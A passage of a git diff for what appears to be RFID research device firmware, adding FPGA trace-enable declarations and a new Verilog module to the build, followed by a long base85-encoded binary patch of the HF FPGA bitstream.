0); +} + //----------------------------------------------------------------------------- // Set up the CMOS switches that mux the ADC: four switches, independently // closable, but should only close one at a time. Not an FPGA thing, but diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index 90d020333..5399db4ed 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -41,7 +41,7 @@ thres| x x x x x x x x */ // Definitions for the FPGA commands. -// HF / LF +// BOTH HF / LF #define FPGA_CMD_SET_CONFREG (1<<12) // C // LF @@ -67,7 +67,7 @@ thres| x x x x x x x x #define FPGA_MAJOR_MODE_HF_ISO18092 (5<<5) // D #define FPGA_MAJOR_MODE_HF_GET_TRACE (6<<5) // D -// BOTH +// BOTH HF / LF #define FPGA_MAJOR_MODE_OFF (7<<5) // D // Options for LF_READER @@ -107,7 +107,9 @@ thres| x x x x x x x x #define FPGA_HF_ISO18092_FLAG_READER 0x4 // 0100 enables antenna power, to act as a reader instead of tag void FpgaSendCommand(uint16_t cmd, uint16_t v); -void FpgaWriteConfWord(uint8_t v); +void FpgaWriteConfWord(uint16_t v); +void FpgaEnableTracing(void); +void FpgaDisableTracing(void); void FpgaDownloadAndGo(int bitstream_version); // void FpgaGatherVersion(int bitstream_version, char *dst, int len); void FpgaSetupSsc(void); diff --git a/fpga/Makefile b/fpga/Makefile index 8ea5d89f0..0d2bb1625 100644 --- a/fpga/Makefile +++ b/fpga/Makefile @@ -11,7 +11,7 @@ clean: $(Q)$(RM) *.map *.ngc *.xrpt *.pcf *.rbt *.bld *.mrp *.ngm *.unroutes *_summary.xml netlist.lst $(Q)$(RMDIR) *_auto_* xst -fpga_hf.ngc: fpga_hf.v fpga.ucf xst_hf.scr util.v hi_simulate.v hi_read_tx.v hi_read_rx_xcorr.v hi_iso14443a.v hi_sniffer.v hi_flite.v +fpga_hf.ngc: fpga_hf.v fpga.ucf xst_hf.scr util.v hi_simulate.v hi_read_tx.v hi_read_rx_xcorr.v hi_iso14443a.v hi_sniffer.v hi_flite.v hi_get_trace.v $(Q)$(RM) $@ $(info [-] XST $@) $(Q)$(XILINX_TOOLS_PREFIX)xst -ifn xst_hf.scr diff --git a/fpga/fpga_hf.bit b/fpga/fpga_hf.bit index ae66d510fa02ca3e7181036f0f8e2bf134ebf884..9a054eec60c9bb30acbe343f4c6685039cd9d260 100644 GIT binary patch literal 42175 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 